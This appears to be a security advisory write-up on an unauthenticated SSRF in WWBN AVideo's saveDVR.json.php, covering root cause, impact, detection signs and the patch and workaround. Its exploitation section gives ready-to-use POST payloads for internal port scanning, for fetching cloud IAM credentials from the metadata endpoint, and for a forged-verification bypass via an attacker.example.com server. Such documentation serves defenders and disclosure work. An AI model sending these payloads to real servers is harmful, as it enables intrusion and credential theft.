CVE-2026-33351: 
PHP vulnerability analysis and mitigation

CVE-2026-33351 is an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in WWBN AVideo, an open-source video streaming platform. The flaw exists in plugin/Live/standAloneFiles/saveDVR.json.php, where the webSiteRootURL request parameter is used without validation to construct a URL fetched server-side via file_get_contents(). All versions of AVideo prior to 26.0 are affected. It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory). The vulnerability was published on March 19, 2026, with a patch commit available shortly after (GitHub Commit).

The root cause is classified as CWE-918 (Server-Side Request Forgery) and CWE-346 (Origin Validation Error). When the AVideo Live plugin is deployed in standalone mode and the server-side configuration file (../../../videos/configuration.php) does not exist, the $streamerURL variable is populated directly from the attacker-controlled $_REQUEST['webSiteRootURL'] parameter with no URL allowlisting, scheme restriction, or private IP blocking. This value is then concatenated into a verification URL and passed to file_get_contents(), triggering the SSRF. A secondary attack chain (verification bypass) is possible: by pointing webSiteRootURL to an attacker-controlled server that returns a crafted JSON response mimicking a valid DVR token verification, the attacker bypasses authentication entirely and gains control over the $key variable, which flows into exec() calls involving FFmpeg and shell commands — though direct OS command injection is partially constrained by a regex filter (/[^0-9a-z_:-]/i) (GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to use the AVideo server as a proxy to scan and access internal network resources, cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254), and services behind firewalls not intended to be publicly accessible. The DVR token verification mechanism is completely bypassed when the attacker redirects the check to their own server, enabling unauthorized control over downstream processing. Additionally, error messages in the vulnerable code reflect fetched URLs and their contents, potentially leaking sensitive information about internal infrastructure. In environments where FFmpeg input specifiers can be manipulated, further exploitation toward command execution may be possible (GitHub Advisory, Feedly).

A public proof-of-concept exploit is available in the GitHub Security Advisory, containing concrete HTTP request payloads and step-by-step reproduction instructions sufficient to execute against a real AVideo deployment (GitHub Advisory). No authentication is required, and the attack complexity is low. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.069% (0.000690), indicating a currently low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Qualys has added detection for this vulnerability (Detection ID: 5009477) (Feedly).

1. Reconnaissance: Identify internet-facing AVideo instances running versions prior to 26.0, particularly those with the Live plugin deployed in standalone mode. Tools like Shodan or Censys can be used to locate exposed instances by searching for AVideo-specific paths.
2. Basic SSRF — Internal Network Scanning: Send an unauthenticated POST request to the vulnerable endpoint with an attacker-controlled URL as the webSiteRootURL parameter:

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://192.168.1.X:PORT/&saveDVR=anything

Differentiate open/closed internal ports by observing response times and error messages. 3. Cloud Metadata Access: Target cloud metadata endpoints to retrieve IAM credentials or instance metadata:

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

4. Verification Bypass — Setup Attacker Server: Host a server at https://attacker.example.com/ with the path /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php returning a forged valid JSON response: {"error": false, "response": {"key": "attacker_controlled_value"}}.
5. Verification Bypass — Send Exploit Request: POST to the vulnerable endpoint pointing webSiteRootURL to the attacker's server:

POST /plugin/Live/standAloneFiles/saveDVR.json.php

webSiteRootURL=https://attacker.example.com/&saveDVR=anything

The server fetches the forged verification response, bypasses authentication, and processes the attacker-controlled key value in downstream exec() calls involving FFmpeg. 6. Potential Further Exploitation: Leverage the colon character (:) allowed by the regex filter in FFmpeg input specifiers or manipulate file paths to attempt further command execution depending on the server environment (GitHub Advisory).

• Network: Unusual outbound HTTP/HTTPS requests from the AVideo server to internal IP ranges (e.g., 192.168.x.x, 10.x.x.x, 172.16.x.x) or cloud metadata endpoints (169.254.169.254); outbound connections to unknown external servers mimicking AVideo verification paths (/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php).
• Logs: Web server access logs showing POST requests to /plugin/Live/standAloneFiles/saveDVR.json.php with webSiteRootURL parameters pointing to internal IPs, cloud metadata URLs, or external attacker-controlled domains; PHP error logs containing fetched URLs and their response content from saveDVR.json.php lines 31-32.
• Process: Unexpected ffmpeg processes spawned with unusual input specifiers or file paths; child processes of the web server process executing shell commands with alphanumeric/colon/hyphen-only arguments.
• File System: Unexpected .m3u8 or media files created in temporary DVR directories with attacker-controlled filenames (GitHub Advisory).

The recommended remediation is to update WWBN AVideo to version 26.0 or later, which includes a patch in commit d0c54960389eeb85e76caed5a257ae90e6a739f2 (GitHub Commit). As a workaround, remove the user-controlled webSiteRootURL fallback from saveDVR.json.php entirely, requiring $streamerURL to be set only via the server-side configuration file. If the parameter must remain for backward compatibility, validate it against a strict allowlist, resolve the hostname, and block private/reserved IP ranges using PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags. Additionally, apply escapeshellarg() to all variables used in exec() calls (including $DVRFileTarget and $tmpDVRDir), and implement firewall rules to restrict the server's outbound connections to only necessary destinations (GitHub Advisory).

The vulnerability received coverage from several security news outlets and aggregators shortly after disclosure. The Hacker Wire published dedicated articles on the SSRF vulnerability and related AVideo issues (The Hacker Wire). Security Online Info covered the broader set of critical AVideo vulnerabilities with CVSS scores up to 10 (Security Online). The vulnerability was also discussed on Bluesky by CVE tracking accounts and noted by threat intelligence platforms including Yazoul and Infinitsec (Feedly).